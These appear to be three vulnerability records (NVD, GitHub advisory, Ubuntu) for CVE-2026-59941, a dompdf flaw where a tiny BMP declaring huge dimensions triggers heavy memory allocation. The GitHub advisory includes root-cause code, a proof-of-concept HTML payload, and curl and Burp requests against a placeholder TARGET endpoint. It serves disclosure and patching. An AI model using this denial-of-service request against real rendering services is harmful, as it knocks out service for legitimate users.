{
  "affected": [
    {
      "affectedData": [
        {
          "product": "dompdf",
          "vendor": "dompdf",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.1.6"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:dompdf_project:dompdf:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "959BCCE2-1193-400C-973C-117B40973E7C",
              "versionEndExcluding": "3.1.6",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior accept a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width \u00d7 height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000\u00d76000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP\u0027s native BMP decoder) to allocate the full pixel canvas. A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,\u2026 URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. I measured a 169-byte request driving a dompdf render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request \u2014 roughly a 12\u00d7 memory amplification per request, repeatable and unauthenticated. This issue has been fixed in version 3.16."
    }
  ],
  "id": "CVE-2026-59941",
  "lastModified": "2026-08-04T16:34:42.657",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "PRESENT",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 6.3,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "LOW",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-59941",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-29T12:41:13.459265Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-28T21:17:29.003",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/dompdf/dompdf/commit/7c65e7bbeccf146b2409740405af73949ad129d0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-8hg6-c449-896m"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-8hg6-c449-896m"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "dompdf/dompdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59941"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T22:50:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\ndompdf accepts a BMP image and generates a PDF-compatible PNG based only on its *declared* header dimensions and never bounds width \u00d7 height before the image is converted through GD. A 58-byte BMP whose header declares e.g. `6000\u00d76000` is accepted and later drives `imagecreatetruecolor($width, $height)` (and PHP\u0027s native BMP decoder) to allocate the full pixel canvas.\n \nA payload can fit in a single HTTP request: the BMP can be inlined as a `data:image/bmp;base64,\u2026` URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a **169-byte** request drove dompdf to render to **~412 MB peak RSS and ~4.8 s** of CPU/wall time, versus ~34 MB for an identically-sized benign request \u2014 roughly a 12\u00d7 memory amplification per request, repeatable and unauthenticated.\n\n\n### Details\n## Root cause\n \nThe image is processed based on declared dimensions and type alone \u2014 no pixel budget:\n \n```php\n// src/Image/Cache.php:131-134\nlist($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options-\u003egetHttpContext());\nif (($width \u0026\u0026 $height \u0026\u0026 in_array($type, [\"gif\",\"png\",\"jpeg\",\"bmp\",\"svg\",\"webp\"], true)) === false) {\n    throw new ImageException(\"Image type unknown\", E_WARNING);\n}\n```\n \nFor BMPs that `getimagesize()` does not fully parse, dompdf trusts the raw header fields:\n \n```php\n// src/Helpers.php:833-837\nif (substr($data, 0, 2) === \"BM\") {\n    $meta = unpack(\"vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight\", $data);\n    $width  = (int) $meta[\"width\"];\n    $height = (int) $meta[\"height\"];\n    $type   = \"bmp\";\n}\n```\n \nAt conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:\n \n```php\n// src/Helpers.php:868-869  \u2014 native decoder is tried FIRST on PHP \u003e= 7.2\nif (function_exists(\"imagecreatefrombmp\") \u0026\u0026 ($im = imagecreatefrombmp($filename)) !== false) {\n    return $im;\n}\n// src/Helpers.php:940  \u2014 hand-rolled fallback\n$im = imagecreatetruecolor($meta[\u0027width\u0027], $meta[\u0027height\u0027]);\n```\n \nThere is no maximum width/height or maximum total-pixel guard anywhere on this path.\n \n## Source-to-sink\n \n1. Attacker HTML reaches `Dompdf::loadHtml()` with `\u003cimg src=\"data:image/bmp;base64,\u2026\"\u003e` (or any BMP `src`).\n2. `Dompdf::render()` decorates frames; `Frame\\Factory` marks `\u003cimg\u003e` as an image; `FrameDecorator\\Image` calls `Image\\Cache::resolve_url()`.\n3. `Image\\Cache::resolve_url()` accepts the BMP on declared dimensions/type (`src/Image/Cache.php:131-134`).\n4. During render, `Adapter\\CPDF::image()` identifies the BMP and calls `_convert_to_png()` (`src/Adapter/CPDF.php:593`).\n5. `_convert_to_png()` invokes `Helpers::imagecreatefrombmp()`, which allocates the full canvas \u2014 via the native `imagecreatefrombmp()` on PHP \u2265 7.2, or the hand-rolled `imagecreatetruecolor()` fallback otherwise.\n\n### PoC\nerified against dompdf @ `a6ddc4f` on PHP 8.3.6 with GD enabled.\n \nThe crafted BMP is 58 bytes: a 14-byte file header + 40-byte `BITMAPINFOHEADER` declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:\n \n```\n\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\n```\n \n(The base64 above decodes to a 58-byte BMP declaring `6000\u00d76000`. The CSS `width:1px;height:1px` does not help the defender \u2014 the intrinsic decode happens regardless.)\n \n### 1 \u2014 Direct conversion\n \n```\nnative imagecreatefrombmp exists: yes\ndompdf_getimagesize  =\u003e 6000x6000 type=bmp\nimagecreatefrombmp   =\u003e GdImage 6000x6000   (allocated from a 58-byte file)\nMaximum resident set size: 160 MB        (10x10 control: 24 MB)\nphp_peak (PHP-managed): 0.8 MB           \u003c-- GD memory is native; PHP memory_limit does NOT cap it\n```\n \nThe PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD\u0027s native allocator, so `memory_limit` does not bound it.\n \n### 2 \u2014 Full `Dompdf::render()`\n \n```\ndeclared 6000x6000  payload 169 bytes  render 5.8 s  RSS ~417 MB  output 106 KB\ndeclared 10x10      payload 169 bytes  render 0.01 s RSS  ~30 MB   output 1.4 KB\n```\n \n### 3 \u2014 HTTP reproduction (curl / Burp)\n \nReproduced against a minimal PDF endpoint (`server.php`, included) that simply renders posted HTML \u2014 the shape of any invoice/report/HTML-to-PDF service. The endpoint sets `isRemoteEnabled=false`; the attack still works because `data:` URIs are an allowed protocol by default and need no remote fetch.\n \ncurl:\n```bash\ncurl -s -X POST \"https://TARGET/render\" \\\n  --data-binary \u0027\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\u0027 \\\n  -o /dev/null -w \u0027http=%{http_code} time=%{time_total}s\\n\u0027\n```\n \nBurp Repeater (enable \"Update Content-Length\"):\n```\nPOST /render HTTP/1.1\nHost: TARGET\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: text/html\nConnection: close\n \n\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\n```\n \nObserved (peak RSS read from the worker\u0027s `/proc/\u003cpid\u003e/status` `VmHWM`, each on a fresh worker so the high-water mark is per-request):\n \n```\n[ATTACK ] declared 6000x6000  request=169 B  -\u003e 200 application/pdf  output=106397 B  server peak RSS ~412 MB  wall 4.8 s\n[CONTROL] declared 10x10      request=169 B  -\u003e 200 application/pdf  output=1407 B    server peak RSS ~34 MB   wall \u003c0.1 s\n```\n \nTwo identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared `width \u00d7 height`, bounded only by the 32-bit header fields and the host\u0027s available memory (the process is OOM-killed before the theoretical maximum).\n\n## Impact\n \nA single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool\u0027s memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD\u0027s native allocator, a per-request `memory_limit` does **not** contain it.\n\n**Caveat:** this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation \u2014 those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.",
  "id": "GHSA-8hg6-c449-896m",
  "modified": "2026-07-22T22:50:34Z",
  "published": "2026-07-22T22:50:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-8hg6-c449-896m"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/commit/7c65e7bbeccf146b2409740405af73949ad129d0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dompdf/dompdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dompdf: Uncontrolled resource consumption based on declared BMP dimensions"
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "php-dompdf",
            "binary_version": "0.6.1+dfsg-2ubuntu1+esm1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:16.04:LTS",
        "name": "php-dompdf",
        "purl": "pkg:deb/ubuntu/php-dompdf@0.6.1+dfsg-2ubuntu1+esm1?arch=source\u0026distro=esm-apps/xenial"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.6.1+dfsg-2",
        "0.6.1+dfsg-2build1",
        "0.6.1+dfsg-2ubuntu1",
        "0.6.1+dfsg-2ubuntu1+esm1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "php-dompdf",
            "binary_version": "0.6.2+dfsg-3ubuntu0.18.04.1~esm1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:18.04:LTS",
        "name": "php-dompdf",
        "purl": "pkg:deb/ubuntu/php-dompdf@0.6.2+dfsg-3ubuntu0.18.04.1~esm1?arch=source\u0026distro=esm-apps/bionic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.6.2+dfsg-3",
        "0.6.2+dfsg-3ubuntu0.18.04.1~esm1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "php-dompdf",
            "binary_version": "0.6.2+dfsg-3ubuntu0.20.04.1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:20.04:LTS",
        "name": "php-dompdf",
        "purl": "pkg:deb/ubuntu/php-dompdf@0.6.2+dfsg-3ubuntu0.20.04.1?arch=source\u0026distro=focal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.6.2+dfsg-3",
        "0.6.2+dfsg-3ubuntu0.20.04.1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "php-dompdf",
            "binary_version": "0.6.2+dfsg-3.1ubuntu0.1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:22.04:LTS",
        "name": "php-dompdf",
        "purl": "pkg:deb/ubuntu/php-dompdf@0.6.2+dfsg-3.1ubuntu0.1?arch=source\u0026distro=jammy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.6.2+dfsg-3.1",
        "0.6.2+dfsg-3.1ubuntu0.1"
      ]
    }
  ],
  "aliases": [],
  "details": "Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior accept a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width \u00d7 height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000\u00d76000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP\u0027s native BMP decoder) to allocate the full pixel canvas. A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,\u2026 URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. I measured a 169-byte request driving a dompdf render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request \u2014 roughly a 12\u00d7 memory amplification per request, repeatable and unauthenticated. This issue has been fixed in version 3.16.",
  "id": "UBUNTU-CVE-2026-59941",
  "modified": "2026-08-06T00:20:57Z",
  "published": "2026-07-28T21:17:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-59941"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59941"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-8hg6-c449-896m"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/dompdf/dompdf/commit/7c65e7bbeccf146b2409740405af73949ad129d0"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    },
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-59941"
  ]
}